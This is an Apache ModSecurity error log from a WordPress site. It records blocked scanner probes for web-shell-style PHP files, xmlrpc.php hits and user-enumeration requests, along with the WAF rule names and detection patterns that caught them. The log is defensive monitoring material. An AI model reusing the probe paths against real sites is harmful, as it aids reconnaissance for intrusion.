[Sun Mar 29 02:20:21.549012 2026] [:error] [pid 39514:tid 39537] [client 20.197.233.108:23384] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "acgb5SkUyvlQod6qQu2lCAAAAMw"]
[Sun Mar 29 02:20:22.176801 2026] [:error] [pid 39429:tid 39496] [client 20.197.233.108:15350] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "acgb5k8pSj6sqgZaItnmVQAAAIo"]
[Sun Mar 29 02:20:22.801711 2026] [:error] [pid 39427:tid 39445] [client 20.197.233.108:23378] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "acgb5lvLf0RDUqcYq-ZQBgAAAA0"]
[Sun Mar 29 02:20:23.431362 2026] [:error] [pid 39428:tid 39460] [client 20.197.233.108:23332] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "acgb56XMrozFMIaP8nIDnAAAAEE"]
[Sun Mar 29 02:20:24.084628 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:23329] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "acgb6HVrXSgLxlxLi9A8xgAAAQc"]
[Sun Mar 29 02:20:24.707044 2026] [:error] [pid 39429:tid 39491] [client 20.197.233.108:23416] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "acgb6E8pSj6sqgZaItnmWAAAAIU"]
[Sun Mar 29 02:20:25.330664 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:23357] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "acgb6XVrXSgLxlxLi9A8ywAAAQI"]
[Sun Mar 29 02:20:25.972179 2026] [:error] [pid 60346:tid 60374] [client 20.197.233.108:23365] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "acgb6XVrXSgLxlxLi9A8zgAAARc"]
[Sun Mar 29 02:20:26.594014 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:23319] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "acgb6nVrXSgLxlxLi9A80QAAAQY"]
[Sun Mar 29 02:20:27.237713 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:23421] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "acgb63VrXSgLxlxLi9A81AAAAQc"]
[Sun Mar 29 02:20:27.861185 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:23360] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "acgb63VrXSgLxlxLi9A81wAAAQs"]
[Sun Mar 29 02:20:28.485548 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:23340] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpass.php"] [unique_id "acgb7HVrXSgLxlxLi9A82QAAAQw"]
[Sun Mar 29 02:20:29.132933 2026] [:error] [pid 39428:tid 39463] [client 20.197.233.108:23243] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpass.php"] [unique_id "acgb7aXMrozFMIaP8nIDogAAAEQ"]
[Sun Mar 29 02:20:29.753582 2026] [:error] [pid 39427:tid 39450] [client 20.197.233.108:23287] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpass.php"] [unique_id "acgb7VvLf0RDUqcYq-ZQDQAAABI"]
[Sun Mar 29 02:20:30.372308 2026] [:error] [pid 39429:tid 39509] [client 20.197.233.108:23399] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpass.php"] [unique_id "acgb7k8pSj6sqgZaItnmXAAAAJc"]
[Sun Mar 29 02:20:31.011897 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:23345] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "acgb73VrXSgLxlxLi9A83wAAAQY"]
[Sun Mar 29 02:20:31.646653 2026] [:error] [pid 39427:tid 39436] [client 20.197.233.108:23301] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "acgb71vLf0RDUqcYq-ZQDgAAAAQ"]
[Sun Mar 29 02:20:32.271800 2026] [:error] [pid 39427:tid 39437] [client 20.197.233.108:23302] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "acgb8FvLf0RDUqcYq-ZQDwAAAAU"]
[Sun Mar 29 02:20:32.897213 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:23338] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "acgb8HVrXSgLxlxLi9A85QAAAQU"]
[Sun Mar 29 02:20:33.514252 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:15354] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "acgb8XVrXSgLxlxLi9A86QAAARE"]
[Sun Mar 29 02:20:34.131429 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:23387] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "acgb8nVrXSgLxlxLi9A86wAAAQ0"]
[Sun Mar 29 02:20:34.757408 2026] [:error] [pid 39429:tid 39489] [client 20.197.233.108:23351] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "acgb8k8pSj6sqgZaItnmYAAAAIM"]
[Sun Mar 29 02:20:35.388722 2026] [:error] [pid 39428:tid 39474] [client 20.197.233.108:23409] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "acgb86XMrozFMIaP8nIDqAAAAE8"]
[Sun Mar 29 02:39:40.044086 2026] [:error] [pid 39514:tid 39545] [client 65.108.125.120:6674] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "acggbCkUyvlQod6qQu2tBAAAANQ"]
[Sun Mar 29 02:39:43.833866 2026] [:error] [pid 60346:tid 60362] [client 65.108.125.120:6684] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "acggb3VrXSgLxlxLi9BHEAAAAQs"]
[Sun Mar 29 05:50:08.053224 2026] [:error] [pid 1524:tid 1535] [client 43.165.67.57:58366] [client 43.165.67.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "achNEFoaWSl2asqQCh8hFgAAAQY"]
[Sun Mar 29 08:51:43.021945 2026] [:error] [pid 32255:tid 32298] [client 45.94.31.49:62721] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ach3n2nfn-AtRoMbquyRIwAAAEc"]
[Sun Mar 29 08:51:43.503914 2026] [:error] [pid 1524:tid 1528] [client 45.94.31.49:49926] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ach3n1oaWSl2asqQCh82EAAAAQE"]
[Sun Mar 29 08:51:43.988954 2026] [:error] [pid 23250:tid 23252] [client 45.94.31.49:53293] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ach3n5xrpj-dQjy1cvpf7AAAAkA"]
[Sun Mar 29 08:51:44.484224 2026] [:error] [pid 1524:tid 1549] [client 45.94.31.49:59677] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ach3oFoaWSl2asqQCh82HwAAARI"]
[Sun Mar 29 08:51:44.977395 2026] [:error] [pid 23250:tid 23265] [client 45.94.31.49:64827] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ach3oJxrpj-dQjy1cvpgWQAAAk0"]
[Sun Mar 29 09:44:31.151587 2026] [:error] [pid 32255:tid 32309] [client 36.69.127.105:61638] [client 36.69.127.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.69.127.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aciD_2nfn-AtRoMbquyiDAAAAFI"]
[Sun Mar 29 09:48:50.192196 2026] [:error] [pid 23284:tid 23293] [client 36.69.127.105:64753] [client 36.69.127.105] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aciFAozBujdPHsq7wySIlAAAAoc"]
[Sun Mar 29 09:50:51.463021 2026] [:error] [pid 32255:tid 32300] [client 36.69.127.105:49736] [client 36.69.127.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.69.127.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aciFe2nfn-AtRoMbquykmwAAAEk"]
[Sun Mar 29 14:13:09.571705 2026] [autoindex:error] [pid 23167:tid 23170] [client 167.86.102.235:53106] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 29 14:19:14.714047 2026] [:error] [pid 32255:tid 32315] [client 106.219.166.7:22220] [client 106.219.166.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.166.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acjEYmnfn-AtRoMbquwXzwAAAFg"]
[Sun Mar 29 16:48:25.567479 2026] [:error] [pid 32255:tid 32304] [client 181.103.1.206:64402] [client 181.103.1.206] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acjnWWnfn-AtRoMbquxY8QAAAE0"]
[Sun Mar 29 16:49:29.849968 2026] [:error] [pid 23250:tid 23259] [client 181.103.1.206:65232] [client 181.103.1.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.103.1.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acjnmZxrpj-dQjy1cvrGywAAAkc"]
[Sun Mar 29 16:50:24.395718 2026] [:error] [pid 32254:tid 32269] [client 181.103.1.206:49494] [client 181.103.1.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.103.1.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acjn0Kug2IHuyGgCTn9BrgAAAAU"]
[Sun Mar 29 16:51:22.361529 2026] [:error] [pid 32254:tid 32268] [client 181.103.1.206:50114] [client 181.103.1.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.103.1.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acjoCqug2IHuyGgCTn9ByQAAAAQ"]
[Sun Mar 29 21:47:35.479061 2026] [:error] [pid 23137:tid 23148] [client 170.106.35.153:46076] [client 170.106.35.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acktdxaWQa7LdZ_qGFb6TAAAAYk"]
[Sun Mar 29 23:07:32.186946 2026] [:error] [pid 32257:tid 32319] [client 40.87.104.188:28347] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aclANCE3TArOFrUtgWpevwAAAIE"]
[Sun Mar 29 23:07:33.065642 2026] [:error] [pid 23284:tid 23289] [client 40.87.104.188:28800] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aclANYzBujdPHsq7wyTXPQAAAoM"]
[Sun Mar 29 23:07:33.891492 2026] [:error] [pid 32255:tid 32307] [client 40.87.104.188:6727] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aclANWnfn-AtRoMbquwPIQAAAFA"]
[Sun Mar 29 23:07:34.774103 2026] [:error] [pid 23284:tid 23286] [client 40.87.104.188:29144] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aclANozBujdPHsq7wyTXTQAAAoA"]
[Sun Mar 29 23:21:26.487780 2026] [:error] [pid 32255:tid 32314] [client 117.62.235.53:35441] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aclDdmnfn-AtRoMbquwVeQAAAFc"]
[Sun Mar 29 23:25:31.605064 2026] [:error] [pid 32254:tid 32267] [client 20.168.64.117:2437] [client 20.168.64.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spvgfuft.php"] [unique_id "aclEa6ug2IHuyGgCTn9mQQAAAAM"], referer: www.google.com
[Sun Mar 29 23:25:31.887328 2026] [:error] [pid 32257:tid 32318] [client 20.168.64.117:2628] [client 20.168.64.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "aclEayE3TArOFrUtgWpqOQAAAIA"]
[Sun Mar 29 23:25:32.043553 2026] [:error] [pid 23167:tid 23186] [client 20.168.64.117:2635] [client 20.168.64.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "aclEbBIAHJCFaHff3_fXnQAAAdA"]
[Sun Mar 29 23:58:01.421678 2026] [:error] [pid 32255:tid 32314] [client 41.59.179.251:64546] [client 41.59.179.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.179.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aclMCWnfn-AtRoMbquwp9wAAAFc"]
[Mon Mar 30 00:17:52.034177 2026] [:error] [pid 32255:tid 32309] [client 41.59.179.251:59398] [client 41.59.179.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aclQsGnfn-AtRoMbquwyuAAAAFI"]
[Mon Mar 30 00:19:38.532780 2026] [:error] [pid 23284:tid 23287] [client 41.59.179.251:57014] [client 41.59.179.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.179.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aclRGozBujdPHsq7wyQT4QAAAoE"]
[Mon Mar 30 00:21:14.139747 2026] [:error] [pid 32257:tid 32325] [client 41.59.179.251:58040] [client 41.59.179.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.179.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aclReiE3TArOFrUtgWqPTwAAAIc"]
[Mon Mar 30 00:22:39.921147 2026] [:error] [pid 32254:tid 32286] [client 41.59.179.251:45235] [client 41.59.179.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.179.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aclRz6ug2IHuyGgCTn9s-AAAABY"]
